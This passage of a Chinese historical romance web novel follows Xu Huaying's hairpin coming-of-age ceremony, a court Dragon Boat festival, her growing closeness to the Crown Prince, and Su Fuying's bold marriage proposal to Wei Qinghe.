她说着,趴着仰起脑袋,又说:“不过大姐夫每日下值都要来家里见大姐姐,坐上片刻,上更时才会宁家。” 华缨握着卷书靠坐在窗前,身后的明亮的日光,她忽的有些明白那日婶娘说的话了,许多话,姚宝蕙身为小辈不好说,长者落了脸面,小辈便要担着顶嘴的名声,被算计磋磨,也只能以退为进。可是姚家伯母可以说,可以替她出头撑腰,这事纵是传到外面,也没人能说什么闲话。 姚宝湘瞧她沉静神色,以为她是担忧自个儿成婚后被欺负,忙安慰道:“没事,凭着徐大伯疼你那劲儿,谁敢欺负你,他就敢揍谁。” 华缨回神,思索一瞬,老实巴交道:“还是别了吧……” “为何?” “我怕他瘸胳膊断腿儿。”华缨实话实说。 “……徐大伯是藏拙,先前不是还猎到了野鹿?” “那是用马与山里正巧打到野鹿的猎户换的。”华缨说。 姚宝湘:…… 真馋呐。 春日渐暖,换上轻薄的裙子时,华缨姐弟仨跟着姚家表姐和表兄出门放了纸鸢,赏了春景。 回城时,姚明山扯着嗓子喊:“泱泱,你及笄宴的请帖,记得带我一张!” 华缨从车窗探出脑袋来,对着那道如山的高大身影,也喊:“不给你!” 车里车外顿时一阵哈哈笑声。 姚明山放慢了马,与这姐妹几个的马车并行,粗重的眉一挑,故意打趣问:“那太子殿下可有请帖?” 几双视线顿看向了华缨。 华缨眼珠子一转,回得干脆:“没有。” 姚宝湘拍着大腿笑得前仰后俯,夸赞道:“好泱泱!” 马车里笑闹声不绝于耳。 华缨单手托腮,望着日暮时,一路郁郁葱葱的青绿,忽的想起了那日赵徵发间簪梅花的模样。 太子殿下眉眼冷峻,望着远处灯火时的神色,好似凌云踞天峰的帝王,那些热闹与他相隔甚远,他们不敢登宝殿,而帝王也吝啬拾阶而下的融迹。 华缨想,人之一世,若是身侧连个这般玩笑疯闹的朋友也没有,挺可怜的。 那小簇的梅花,是出门前绿稚姐姐给她簪的,只是华缨没等下马车,那梅花便从小发包掉了,她顺手揣进了小荷包里。 得了太子殿下的福包,她也是真诚要回礼呢。 只是,看着他淡漠的深邃眉眼,手指碰到那簇梅花时,没忍住想要簪在他发间,看看这人眉眼的孤傲冷寂消融的模样。 太子殿下呀,发浓如墨,颜如舜华,吃惊时唇微启,唇红齿白,被那簇雪梅衬得多了些清隽,虽是不及她爹爹啦,但她也没骗他,是当真好看呢。 “偷笑什么呢?”姚宝璐问着,将藏着的果脯与她悄悄分了。 华缨塞了一颗进嘴里,酸酸甜甜的。 东宫。 夜里二更,烛火摇曳。 闻津将殿门阖上,隔绝了春夜的风。 “殿下。” “明日将这贺礼送去徐府,只说是恭贺徐大小姐及笄之礼,旁的不必多说。”赵徵将一只漆红雕芙蓉的匣子递给他道。 “殿下何不等徐大小姐送贴来时,再携礼过府赴宴时恭贺?”闻津接过,不解道。 赵徵端起案桌上早已凉透的茶吃了,狭长的眼眸微抬,默了片刻,道:“她不会给我送帖子。” 闻津:…… 他这是戳了主子的伤心处? 对视两瞬,闻津默默的收回了目光,嘴上道:“徐大小姐与旁的姑娘不同,嗯……不喜攀慕。”语气笃定。 想想镇国公府的大小姐及笄时,帖子可是早半月便送来了东宫,纹样描金,字体娟秀,处处透着闺秀千金的娴静。 他们殿下赴宴,那是给主人家面上添光的,徐家不要。 闻津想了想,他们还当真没收到过几张徐家的帖子呢,这家子当真是一脉相传的……淡薄。 收好匣子,闻津问:“殿下可要安置了?” 赵徵吃完茶,却是坐着没动,望着案桌上的银莲烛火盏片刻,问起了另一事:“昨日让人去暗中看那些安置在村落的营妓,他们可回来了?” “回来了,”闻津点头,“殿下当时正忙,他们便与我说了,都好着呢,正是农忙,殿下让府衙划给她们的田地都种了,”他说着,忽的灵光一闪,试探问:“殿下,这好信儿可要报给徐大小姐?” 赵徵眉眼一抬,凉飕飕问:“你闲得无差事?” 闻津噎了下,识时务的摇头。 可惜,晚了。 “既是闲的无事,那汴河下的群偷你去收拾了。”赵徵语气寡淡道。 闻津顿时皱巴巴一张脸。 自坊市改厢坊,那汴京沟渠便倒了霉,藏匿着偷盗的亡命之徒,汴河尤甚。 三天两头的,就有百姓去敲应天府的门,偷些钱财鸡鸭都是小事了,重者是盗妇人,可谓是可恶。 可这些人官府根本抓不干净,前边儿将那些为非作歹者惩治,后脚儿那沟渠又住了新的,要紧的是,有些是偷儿,有些是无处落脚的百姓,真假难辨。 如今巡城的兵卫都增添了些人手,可总有鞭长莫及管辖不到的时候。 前儿有个人家的财物被盗一空,妇人被掠了去,这会儿应天府都还在找凶手。 官家将这棘手事交给了太子,多少眼睛盯着,他却是一日没出东宫,夜里唤了闻津进来,便交给了他这匣子。 闻津心里苦,老实道:“小的哪有那本事……” “那就闭嘴去想。” “哦。” 华缨及笄的日子,是徐九涣寻人占卜来的。 人家说:“四月十九吉利,宜出嫁。” 徐九涣脑袋一扭,将那钱串子收回二两,下颌一抬,道:“再算。” 占卜的老者极其无语,也不说出嫁了,只道是好日子。 徐九涣在老者占卜出的几个好日子里,挑了五月初二这日。 春色泱泱,惠风和畅。 徐家大宴宾客,门前石板路清扫得亮亮堂堂的,就连那两尊石狮子都擦得锃光瓦亮,威风凛凛的注视着来往行人。 来往者衣冠楚楚,春明街上马车络绎不绝。 府中各处挂着红绸,灯笼也换了新糊的,一眼望去,怕是以为谁成亲呢。 徐九涣忧桑的瞅着闺女。 房中,日光洒洒,透过窗棂落进来,案桌上一支春桃开得正盛。 旁边铜镜里的姑娘梳起了发,一双桃花眼弯弯,唇角噙笑,脑袋轻晃,那发间的簪花扑簌簌的轻颤,碗口大的赵粉牡丹,花瓣层层叠叠,粉润的光泽似流转,艳丽无双。 “嘿嘿~我真好看!”华缨捧着脸颊臭美道。 “主子可学会了?”绿稚不放心的问。 嗯…… 今儿替华缨行簪礼的是徐九涣。 按理说,姑娘及笄时,都是阿娘为其行簪礼。 若是没有阿娘的,便要请全福人来。 宋喜当日也是这般考虑的,但华缨否了,说得很是父女情深厚—— “爹爹将我一把试一把尿的带大,自是又当爹又当娘,簪礼便该是爹爹来。” 宋喜眨了眨眼,“确要如此?” 华缨点头。 而徐九涣也当真大手一挥的应了这差事,惹得老爹眼皮跳得厉害。 “我又当爹又当娘的,将她一把试一把尿的带大,再没人比我合适了!”徐九涣自信道。 不愧是父女俩,话都说得一样。 公爹没说什么,宋喜自也没异议。 唔……徐士钦倒是想说,给宋喜捂住了嘴。 别坏气氛。 不过,徐九涣也认真的学了几日呢,院儿里的小厮这会儿见着他都躲着走。 徐九涣忧桑点头,“别将我当笨蛋。” 绿稚噎了下,将自家小姐发间的赵粉牡丹摘下,又将发冠与簪子取下,如瀑似的长发顿时散在肩背。 “唉……”徐九涣看着她叹气。 “嗯?”华缨蹭的抬起了眼,像是受惊的小猫。 “女大不中留啊。”徐九涣惆怅道。 “……别啊,我还得留几年呢。”华缨说大实话。 时人嫁女,为体现家中父母的不舍,都要在及笄后留两年,十七岁出嫁才是好时候,若是赶着及笄便嫁,那人家是要被戳脊梁说闲话的。 华缨很喜欢这习俗。 她也舍不得爹爹祖父和阿敏婶娘他们的! 香案摆在了堂屋,菱格花窗撑起,明媚的日光倾泻。 笄礼始,全场静。 出东房,初加冠服。 华缨自观礼的宾客中莲步行过,两只小手轻理裙摆,与香案前的蒲团跪下。 徐九涣今日也是打扮过的,绵绸玉簪,能瞧得出世家清贵公子的模样。 不同于平日里吊儿郎当,面色肃穆,于丫鬟端着的银盆净手,又接过棉巾帕擦干净,走到闺女身后,抬手替她梳发。 宾客神色不尽相同,但皆有些吃惊得哑口无言。 目光移着再看徐家几人,再是正经不过了。 这……是他们没见过世面? 徐九涣没丢脸,烂熟于心的绾发动作行云流水,不消片刻,便替闺女绾了个笄髻。 看,旁人有的,他闺女也要有! 令月吉日,风顺云祥。 吾家淑女,今日及笄。 初加罗帕,素服以彰。 愿尔弃幼志,顺成厥德。 受此发笄,以正汝仪。[1] 二加发钗,三加尔服。 洵美且都,素素窈窕。 三复起身,华缨衣冠华服,朝观礼宾客福身一礼。 门外日光正盛,绯桃艳艳。 竹竿子高声喝—— “礼成,贺!” 第53章 龙舟赛。 丝竹管弦,乐声悦耳。 徐鉴实目光孺慕的看着孙女,满是欣慰。 旁侧同僚拱手道贺,他矜持颔首,唇角微微弯起,道:“招待不周之处,还望海涵。” 男宾们被徐家兄弟俩招呼着往前院去,徐鉴实陪着几位德高望重者,拥挤的堂屋顿时宽敞了不少,丫鬟们进来奉茶奉果,今日喜事,前面伺候的也多是绯色桃色的喜庆颜色,宋喜在堂屋招待女眷贵妇,华缨则是带着一众未出阁的姑娘们往旁侧的阁中去坐,华敏自觉的颠颠儿跟上。 苏扶楹今日也在,她的帖子是华缨写的。 前面姚家几位姐妹簇拥,叽叽喳喳的额夸赞华缨今日打扮得委实好看,衣裳好,冠子好,模样更好。 苏扶楹走在她们身后,听着这话,不觉莞尔。 与那日窄袖袍子,飒飒踏踏不同,今日的华缨,双眉浅淡画春色,两耳炫濯垂珠珰,端着闺门淑女的姿态,步伐轻逸。可不管是哪种模样,都如初绽群芳,耀眼夺目。 华缨在京中无甚好友,也只与姚家姐妹来往密切,阁中坐着的随母亲来赴宴的一众贵女,瞧着华缨也面生的紧,往日只闻其名,今日倒是见着人了。 这一见着,目光便忍不住打量,再看看旁边矜持端坐的苏扶楹。 二女皆是面容姣好的,苏扶楹娴静柔顺些,华缨则是秾艳姝丽的,那双眼睛甫一瞧来时,不觉带着凌厉,好似破空的风,让人想躲。 几位贵女互相对视一眼,眼里一副尽在不言中的神色。 平嘉皇后将苏扶楹当太子妃教导,今岁苏扶楹都有十七了,这亲事也该提个章程了。 再看这位徐大小姐,如今占着太子妃的名头,及笄礼这样的宴,太子殿下也未赏光,可见上元节宫宴时,纵然她替太子殿下说话,也未动得郎君心意。 几人正对着眼色想着,忽的听一道轻灵的声音: “阿楹,尝尝我家的糕点,很好吃的。”华缨招呼道。 这一句,莫说是那些贵女神色如同见了鬼,便是姚家姐妹都憋了又憋的瞧着她。 苏扶楹轻抬手臂,从华缨递来的碟子里捻了一枚桃花酥,还未入嘴,便嗅到了一股子桃花的清香,便是连酥皮都是桃花瓣的样式,桃粉惹人,中间花蕊处,一点浅黄色,她抬眼问:“是用了酥油?” 华敏蹭的抬头,眼睛骤亮道:“阿楹姐姐也懂点心?正是用了酥油,那一点花蕊便是,好看又好吃呢!” 她得意。 便是因这点心是她的想法啦! 苏扶楹轻笑谦虚道:“略知皮毛,不如徐二小姐巧思。” 说着,她垂眼尝了口手里的桃花酥,入口不甜腻,酥油淡淡的香甜,还有桃花瓣的香气。 余光扫过某只手悄悄扯了扯那绫花红衣袖,眼睫微动,只当没瞧见。 姚宝湘暗戳戳的问华缨:“你们何时这般熟了?” 华缨想了想,说相熟委实算不上,上回借着苏扶楹的提醒,华缨方才劝服了镇国公在营妓之事上出头,那日她送了苏扶楹胭脂之后,便没交谈过了。 今日邀她来赴自己的及笄宴,说起来,华缨羞涩搓手,她在汴京没有朋友呐,若是非要矮子里拔将军,就是苏扶楹了。 姚宝湘坐姿不端,半边身子靠在华缨身上,借着衣袖遮掩,朝她后腰又戳一下,一双大眼睛示意:老实交代! 华缨轻颤了下,揪住她的手,神色颇为认真的低声:“正月十二。” “哈?” 时辰正,丫鬟过来请众人去坐宴。 为着今日这宴,宋喜忙了许久,不说桌椅都挑剔,便是桌上菜色,都是试了七八回方才定下。 乐声喜气洋洋,门前爆竹声响了足有一刻钟,便是连招呼敬酒都显得格外喧嚣热闹。 宴散后,主家送客。 姚家姐妹几个没急着走,寻了贵妇堆儿里的姚宝蕙,去华缨的屋子懒着了。 姚家几个夫人笑着摇首,“怎就有说不完的话。” 宋喜将人送至门前,也笑说:“由着她们去,等晚些,我让人再套马车送她们回府。” 春居堂。 华缨将珠冠取了,放肆的在床上打了个滚儿。 姚宝湘和姚宝璐有样学样,也将那碍事的披帛和外裳脱了搭在木架子上,窝在床榻打盹儿。 晌午宴上用了些梅子酒,这会儿子床帏间萦绕着淡淡酒香,姚宝蕙闻着不觉也晕乎,拿了迎枕半靠着。 姚宝芳正和华敏凑着脑袋分食一笸箩枇杷。 屋中悠然安静,片刻,姚宝湘睁开了眼睛。 “三日后便是端午了,听闻今岁的龙舟赛很好看。”她说着,贼兮兮的朝几人眨眨眼,一副心照不宣的神色。 华缨靠在床榻上,一卷书盖在脸上,懒洋洋道:“你成日瞧,还没瞧够?” 话出口,便被姚宝湘恼羞成怒的挠她痒,“坏丫头,尽是浑说!” 华缨蜷缩了缩身子,脸上的书卷掉了下来,她睁着双粉润的桃花眼道:“我说的是几位表兄,表姐说谁?” 她这般正经神色,倒是将姚宝湘噎了下,粉面桃腮如春桃,鼓着脸坐了片刻,咬牙道:“他们有甚好瞧的,都不洗脚!” “咦……” 顿时帐子中响起此起彼伏的嫌弃声。 正吃着的二人对视一眼,默契的端着笸箩去了外间。 不过,确如姚宝湘说的,今年端午赛龙舟很是好看。 两艘长有十余尺的龙舟在江心威风凛凛,男儿矫健,英姿勃发,江水波涛汹涌,直破江心而来! 绿柳垂丝,江月亭中坐着一众穿着华服旖旎的贵女,却扇遮掩着酡红的脸颊,欲瞧还羞,风吹来,披帛飘荡,满亭子的脂粉香。 华缨也在看,看得目不转睛。 瞧得出来,此次划龙舟的皆是虎背熊腰的汉子,大抵是如湘表姐说的苦练数日,身板结实,孔武有力,日光下那浮汗的身躯紧致,脊背厚,肩头宽阔,随着使力,身上的腱子肉鼓起又收拢,周而复始。 华缨满意点脑袋。 这才像些样子嘛。 正瞧着,亭中忽的一阵哗然,尽是倒吸口气的吃惊。 华缨不明所以的回头,余光瞥见那抬步过来的身影,脑袋不觉歪了下。 是赵徵。 天暖了,上回见他还披着氅衣,这会儿穿着衮服走来,衣袖被风吹得鼓起,愈发显得身姿如仙,那骨节分明的手指轻抵了下腰间宫绦上佩戴着的兰草香包,华缨不觉眨了眨眼。 唔……有点好看。 “太子殿下。”众闺女却扇福身请安。 华缨懒在廊柱处,也随众福身,唇嗫喏几下,没出声儿。 “免礼。”赵徵沉声道,目光从那角落掠过,看向苏扶楹,“娘娘请表妹前去说话。” 此言出,亭中视线或明或暗的皆朝着华缨看了去。 有些还夹杂着幸灾乐祸和看戏的神色。 姚宝湘护犊子的往华缨跟前一挡,将那些视线瞪了回去。 看啥看? 谁稀罕似的! 华缨也确实不甚在意,只是看向苏扶楹的目光颇为羡慕。 她也想近处去赏那健硕胸膛和腱子肉呢。 苏扶楹却是被她的目光看得心口微滞。 正欲张唇,便又听赵徵开口。 “此处瞧得清?”赵徵看向华缨问,“可要随我去江心亭观看?” 贵女们:? 若说邀苏扶楹去,那是平嘉皇后的恩典,可这会儿邀华缨去的是太子啊! 啥意思? 这江五亭,江心亭离得最近,坐着帝后储君和众臣,其次的几个亭子,皆是按品阶安排了臣子和贵妇女眷,最远的这个江月亭则是她们这些未出阁的小姐们赏龙舟赛。 华缨瞧不清。 但她不说。 “多谢殿下好意,臣女不胜惶恐,品不配位,不敢随殿下去。”华缨道。 贵女们:??? 你还端着了?! 姚宝湘看着那十几张神色变幻的脸,无语的翻了个白眼。 显着你们了。 赵徵也未强求,与她颔首,便与苏扶楹一前一后的出了江月亭。 华缨好似未觉亭中气氛诡异,躲在廊柱阴凉处继续看龙舟赛。 那江中争得激烈,浪花四溅,隔着这般远,还能听见士气大振的吆喝,二龙相争,谁也不让谁,直至折返时,那红色的龙舟因龙尾处力不济,作势要翻船,一时间喝彩声都乱糟糟,眼前波光粼粼,瞧得人心急,堪堪稳住时,蓝色的龙舟超了半个头,士气凝聚,喝声震耳欲聋。 华缨碰碰姚宝湘因紧张而握紧的小拳头,“段世子要得赏了呢。” 是呢,那蓝色龙舟上的是段晁,打头阵站在龙首处。 除他之外,华缨还瞧见几张略熟的面孔。 姚宝湘是这样说的—— “龙舟赛这样好的露脸时机,怎会将平头兵卫安排去,多是那些待在营中的勋贵家子弟,不过,今岁官家倒是照着名册点了几个,便是要看看这段时日操练得如何。” 果不其然,一鼓作气,再而衰,三而竭,鼓声如雷,那因方才之故而稍泄气的红色龙舟,没追上旁边那嗖欢欣鼓舞的。 两只龙舟先后靠岸,将士们自龙舟上跳下来,朝亭中的昌隆帝行礼,“祝陛下端午安康,福寿绵长!” 昌隆帝欢喜道:“赏!” 姚宝湘遥遥的对上某人的目光,小脸儿一红,便听身侧的人迫不及待道—— “要吃席了叭!”语气雀跃。 姚宝湘:…… 第54章 无赖模样。 笙歌燕舞,觥筹交错。 华缨认真的剥案桌上的一只小粽子,忽的,手边又有一颗,她抬起眼,欢喜道:“爹爹真好~” 是呢,徐九涣今日也来赴宴了,蹭着老头儿光。 如他这年岁的,不是自个儿位列朝堂,便是面上无光,才不来丢人现眼呢,徐九涣就不一样啦,跟闺女一起坐在老爹案桌后的小案前,也亏得他朗月星目,风姿倜傥,打眼瞧去,竟是不比那些个小辈年长什么。 华缨将自个儿的小粽子剥好,又将手边爹爹给的那颗夹来,动作温吞的剥,少顷,两颗蜜枣糯米粽子躺在碗里,她方才用打湿的棉布帕子擦手,忽的,一双筷著朝她的小碗直直的伸了过来—— 哎呀呀! 指腹的黏腻一时擦不干净! 华缨眼睁睁的瞧着那筷子将一只蜜粽稳稳夹住,动作行云流水的塞进了一张大嘴! 华缨幽怨的瞪着爹爹:…… 徐九涣饶有兴致的瞧着歌舞,忙里分给她一个眼神,“那个也给我?” 华缨默默的扭过身子,侧身对着他,挡住了小案上的莲花纹小碗蜜枣粽。 休想。 华缨吃过几回宴,倒也不觉稀奇什么了,宴刚过半,底下众人便三五扎堆儿的敬酒说笑,昌隆帝面目慈祥,端的是一派君臣祥乐。 只看了一眼,华缨便收回了目光,与爹爹小声说:“我想出去玩儿……” 徐九涣‘啊’了声,没给她一个眼神,挥挥手道:“懒会儿就回来,再有半个时辰就该宴散了。” 华缨‘哦’了声,做贼似的从小案起身,拢拢披帛,理理衣裙,在姚家的席案前没看见姚宝湘,索性自个儿乐颠颠的出殿吹风去了。 端午宴摆在了光宝殿,此处往左去是江心湖。 路遇几位结伴赏花的贵女,互相颔首见礼罢,华缨步伐飒飒踏踏的离开,想去寻个清净地儿吹江风。 拐过一处蜿蜒假山,忽的身后一道穿着宫装的倩影朝她追来。 赵商絮气息不匀,结结巴巴喊:“徐、徐姐姐……” 华缨扭头,神色疑惑:“殿下?” 赵商絮走近,抿了抿粉唇,对上她的目光,陡然红了脸,目光忽闪,声若蚊蝇道:“徐姐姐……碧翠亭风、风景好,你可要随我去看看?” 华缨:“嗯?” 她们二人无甚交情,此时赵商絮急急追来,又磕磕巴巴的说了这么一句,华缨心里叹了声,仰天长啸:是谁要害她! 赵商絮本就紧张,被她目光直直的看着,不消片刻,便忍不住垂着脑袋老实招了。 “哥哥让我带你去的……” “我说不敢不敢,哥哥说你不会打我的……” “我说让他自己来,他说男女授受不亲,让人瞧见,恐惹非议。” “我、我只得来了……” 这话说完,那颗脑袋垂得更低了,似是羞愧难当的满脸通红。 华缨怔了片刻,歪着脑袋来看她神色,小公主似有所觉的稍抬眼,目光对上一瞬,又赶忙挪开,瞧着都要哭了。 华缨幽幽道:“可别哭,若给人瞧见了,怕是要给我扣个欺负公主殿下的名头。” 话出口,慌乱抬起的脸上满是不知所措。 “不、不是……” 华缨不置可否,望了眼远处的华亭,“那处就是?” 赵商絮睁着红彤彤的兔子眼点点头。 “殿下去玩儿吧,我自去找太子殿下。”华缨说着,转身步履悠悠的朝那处去。 走了两步,她回头,看着那受惊似的姑娘顿了一瞬,扬声道:“殿下,大胆些,你是公主,无人敢欺负你的!” 赵商絮抿紧嘴巴,在那双目光下,大着胆子僵硬抬手,朝她挥了两下。 华缨:…… 碧翠亭,杨柳如波,江水粼粼,幽静雅致,正是躲懒儿的好去处。 华缨过来,便见闻津守在那小径处,看见她,闻津似疑惑的往她身后瞧了眼,才行礼道:“见过徐大小姐,殿下在里面。” 华缨‘嗯’了声,说了句我知道,便阔步朝那亭子里走。 赵徵正坐着,江风吹起他的丝绦,衮服袍摆也随风轻动,红黄的锦缎,将人衬得眉目都清秀了,不及平日严肃端方。 华缨饶有兴致的打量两眼,才故意弄出些动静,引得人回头。 “殿下。”华缨潦草得福了福身。 赵徵也不计较她的敷衍态度,却是问:“阿絮呢?” 华缨愣了下,四目相对,少顷,忽的明了了闻津见着她时那一眼的意思。 “殿下去玩儿了。”她说。 赵徵:…… 华缨透过他被风吹得鼓动的衣袖,看见了那石桌上的素琴,“殿下在抚琴?” 赵徵顺着她的目光瞧去,问:“可会?” 华缨走近,脑袋摇了摇,认真说:“我只会打人。” 赵徵:………… 他脸上闪过些被戳破的尴尬之色,别过脸,片刻缓了缓说:“是我失言,只是阿絮胆小。” “公主被打过?”华缨皱着眉好奇问,拿了颗以冰镇过的桃子啃,凉丝丝,甜滋滋的,很是缓了她一路走过来的暑热。 “她幼时是嬷嬷教导,皇家规矩严苛,学不好规矩,便会挨戒尺,”赵徵说着,眼神间有些厌恶,“那嬷嬷因旁的事,牵累她,时日久了,阿絮便养成了这副胆子。” 华缨对上他的目光,咬桃子的动作微顿。 “她见过你踹苏遮,才会怕你。”赵徵看着她说。 华缨:“……别讹我。” 赵徵唇角扯动了下,似是想要笑,又忍住了。 华缨觉得稀罕,咬着桃多瞧了两眼,“殿下,你今日不赠我兰草香包?” 对上他怔然的眼,华缨无辜眨眼睛,一副‘你瞧什么’的理直气壮。 红衬蓝袍的袖摆轻动,就见那只手从袖袋掏出一只香包来,与他腰间佩戴的那只同样颜色纹饰。 华缨噗嗤一声就笑了! 桃花眼弯成了温柔的月牙,眼尾泛起淡淡的红晕,好似春日桃花盛开,眼波流转,明媚又生动,眼底捉弄人的狡黠与得逞藏不住。 赵徵面上浮了些薄红,被她笑话得有些难为情,他捏着手中的香包,问:“可还要?” “自是要的!”华缨笑得前仰后俯,“殿下的香包比旁人的都香呢!” 这话浑像是调戏小娘子的淫徒。 若是徐九涣在,大抵知她这是从哪里学来的无赖模样了。 赵徵张了张唇,颇有些张口结舌的无奈,“寻常兰草罢了。” 文人墨客以佩玉为美,而姑娘家多是佩戴漂亮的花草香包,此时华缨腰间却是只有一枚鱼纹玉佩。 “嗯嗯!”华缨点着脑袋,嘴里咬着桃子,将那兰草香包挂在了玉佩旁,含糊不清道:“不及殿下送我的及笄礼……” 她又不傻,这水白青玉,温润光泽,柔和细腻,定是好东西! 要紧的是,很漂亮啊,那簇青岚偏巧被雕刻成了小鱼模样,鱼尾飘逸,好似畅游,再是快活不过,华缨很喜欢! 挂好香包,她抬眼,猝不及防的撞进了赵徵目光里。 “……还未谢过殿下的礼呢,”华缨呐呐道,“竟是不察,漏了给殿下的请帖呢。” 赵徵:…… “呵。” 华缨眨了眨眼,满脸真诚。 华亭如盖,华缨搭着腿靠坐在横廊上小憩,手捏着那兰草香包,江风阵阵,琴声铮铮,是赵徵在抚琴。 他没说寻她何事,华缨也没问。 稍远处,闻津假装没看见江边那道清丽身影,倚着夹道旁的柳树站着望风。 苏扶楹在这儿站了有一刻钟了,她看着赵商絮追着华缨过来,二人不知说了什么,华缨径直朝碧翠亭而来。她也看着赵徵抬首听华缨说什么,半侧脸神色舒展,不及平日冷傲。 此时,华缨靠在椅子上吹风,赵徵自甘降身份的替她抚琴。 那是一曲《秋风词》,华缨大抵不懂。 而她,懂也无用。 苏扶楹转身往回走,路过一亭台小筑,几位华服公子的吟诗作曲。她目光扫过,忽的脚下步子微顿。 她见过那张脸,在博望侯府赴宴时——博望侯府世子爷,魏青鹤。 这须臾间,那位着上领素白长锦如意云纹的男子轻摇着手中折扇,朝她瞥来一眼。 苏扶楹目光不躲不避,与他对上。 眼前之人唇红齿白,面目含着三分笑,狭长的眼眸半分意外也无。 苏扶楹忽的想到,以小筑高台,在他的位置,大抵是如那黄雀,将她方才的动静瞧得一清二楚。 苏扶楹心口微坠了下,日光兜头倾泻,晃得人眼晕,心头陡然生出了几分被人将脸面撕扯下来的羞耻和难堪。 “哟,这不是镇国公府的大小姐吗?”有人看见她,从亭子里探出头来,语气带着些故意为之,道:“太子殿下可不在这儿,”说着,那人朝碧翠亭的方向抬了抬下颌,看热闹道:“喏,在那儿呢,徐大小姐也在呢。” 苏扶楹微仰起头,脖颈纤细修长,目光平静的落在说话的那人脸上,“周二郎君,屡试不第,还是多操心自个儿秋闱吧。我与太子哥哥如何,便不必你多嘴了。” 她不过是不得赵徵的喜欢,又不是落毛的孔雀,纵得谁都能欺辱了不成? 男人的脸色唰的变了,恼怒的瞪她。 他是勋贵人家子弟,原是能蒙荫入仕的,可是家里将那名额给了庶长兄,才让他沦为了笑柄! 这是他的大痛,这女人竟是明目张胆的笑话他! 时下讲究男女大防,便是不慎碰见,也该速速避让开才是。 苏扶楹却是迎着那道目光,轻提裙摆,拾阶上了亭台。 亭中坐着的八九个男子,面色皆疑惑茫然,手中的竹扇都不摇了。 石桌上零散着几张宣纸,那是方才作诗留下的,凌乱又不羁。 苏扶楹走过去,垂首扫了眼,声音温柔道:“平仄都对不上,周二郎君当真是……让人不觉意外。” 周二郎被她羞辱得唰的脸臊红一片,连着耳根脖颈都红了,“你……” 他想说你懂个屁! 但刚张口,忽的想到了面前的女子才冠汴京,又生生的忍住了。 “你去贴太子殿下的冷屁股啊!说老子做甚!”周二郎气凶道。 说着,憋闷的气舒爽了些,他冷哼了声,昂首道:“往男人堆里扎,不知羞臊。” 姑娘家的名声何其紧要,此时在周二郎口中变成了嘲讽,语气中夹杂着些心照不宣的男女情色。 苏扶楹听着这话不痛不痒。 自她对赵徵上赶着,这种风言风语就没少听。 那些个勋贵贵女背后说,家里的姐妹们也明里暗里的刺两句。 苏扶楹年纪小时,还因这话偷偷哭过,可是无济于事,明日太阳照常升起,那些话她也照样的听,她想,等她成为太子妃就好了。 她从七岁到十七岁,姑母说让她且耐心些,再耐心等等,她是姑母唯一的嫡亲侄女儿,自是会替她好好打算。苏扶楹也信这话,可是,她不想等了。 不说他日,且说当下。 赵徵的那双眼睛里,有华缨,而她没看见自己。 如狼环伺,那些打量的目光不觉多了些意味深长,苏扶楹视若无睹,道:“太子哥哥纵然有千般万般好,可只眼中没我这一点,他之事便与我无关,他只要当好一个储君,来日继大统,造福万民便是功德,我朝拜之时,自也心甘情愿的与他叩首。” 她将这事摊开了,暴露在日光下,随他们瞧,任他们看。 名声与她要紧,可于旁人却是无足轻重,苏扶楹想,索性她就扔了,又有何妨? 说罢,她无视众人缤彩纷呈的脸色,脚步轻抬,朝那倚柱而靠的人走了过去,“魏世子。” “魏青鹤。”倚着廊柱的人目光在她脸上停了须臾,开口道。 “晴空一鹤排云上,便引诗情到碧霄[1],前朝庐山人的诗,世子好名字。”苏扶楹道。 却是见面前的人看她两晌,忽的轻笑了下,声音悠然道:“鹤舞梅开总有情,小园方喜得双清[2],”他说着,适时顿了顿,“……的青鹤。” 不知谁噗嗤笑了声。 苏扶楹因卖弄才情不成而脸颊染了绯色,神色激荡几瞬又稳住,她道:“我瞧世子入眼,世子若也与我有意,便告知家中长者,来我家与我提亲吧。” 众人:? 提啥?! 魏青鹤手中捏着把折扇,轻敲了下手心,漫不经心的问:“亭中众人,为何是我?” 苏扶楹扫了眼漆红柱旁长凳上的诗作,“因你的平仄对上了。” 魏青鹤似是没想到她会这般刺回来,怔了下,继而唇角翘起,竟是笑了,那三分笑模样变成了七分。 “我自幼读书,不愿与一目不识丁者举案齐眉,你长得俊朗,瞧着赏心悦目,家世与我相当,我能适应的很好。”苏扶楹道。 “魏某又能得些什么?” “得一贤妻,我家族之中,数我出挑,你赶赴科场即可,后宅之事自有替你料理妥当,再无后顾之忧。” 魏青鹤似有意动,上半身微微朝她靠近,脑袋微侧。 姿势亲昵,俨然已越界。 苏扶楹却是没躲,目光落在他肩侧的云纹。 “家母难缠。”他低声。 离得太近了,温热的语气催红了她的耳朵。 苏扶楹神色却是镇定,微微侧首,看着那双近在咫尺的眼睛,道:“多谢提醒,事必躬亲。” 第55章 马球赛。 两双目光对视片刻,苏扶楹看见他笑了。 这人骤然让开,周遭气压都散了。 苏扶楹背脊挺拔,心口不觉轻舒了口气,越过他,越过众人,拾阶而下出了亭阁。 日光一如方才光耀刺眼,她抬起手臂遮在额前,仰头望了眼云层浅薄的天。 嬷嬷教导,成婚后要以夫为天,可她却不然,她苏扶楹的天,只有她自己。 身上的紧绷感渐渐褪去,筋骨方觉乏力,身后咋咋乎乎的几声,皆是亭中之人急切又好奇的问话。 “承安兄,你当真要娶苏扶楹?” 苏扶楹眼睫动了下,却是克制着脚步未停,不疾不徐的朝那巍峨宫殿缓步行去,她不知身后可落有谁的目光,但她绝不会让自个儿落了下风,授人以柄。 直至走出曲径通幽处,苏扶楹也没听到魏青鹤的回答。 她在光宝殿外的湖心亭坐了片刻,等得前面宴席将散时,方才起身,准备回去。 忽的,身后一声甜甜的‘阿楹’—— 苏扶楹回身,便见华缨正朝她跑来,裙摆风动,手里还捏着两颗粉润的桃子。 “你也在吹风呀!” 华缨几步过来,问了句。 苏扶楹‘嗯’了声,二人并肩往回走。 她看了眼华缨手中的桃子,欲要张唇。 “你喜欢吃桃子吗?只是这个不能给你,是我给爹爹和祖父带的。”华缨察觉她的视线,说得利索,“你若喜欢,等我再有了,定给你一颗!” 苏扶楹听得轻摇首,笑说:“这是蟠桃,宫里规矩多,拿着不雅,我家有个庄子有这桃子,过两日我让人送些去你府上。” “那再好不过啦!”华缨欢喜道,“多谢阿楹!” 苏扶楹当真是羡慕她的落拓和真挚,可她也清楚的知道,自己永远不会如她这般。 汴京无辛密,那次在博望侯府赴宴,遥遥一瞥,苏扶楹便让人去打听了那人。 魏青鹤,字承安,祖母乃是先帝时的公主,可惜福寿不永,在驸马爷博望侯战死沙场后,也跟着去了。 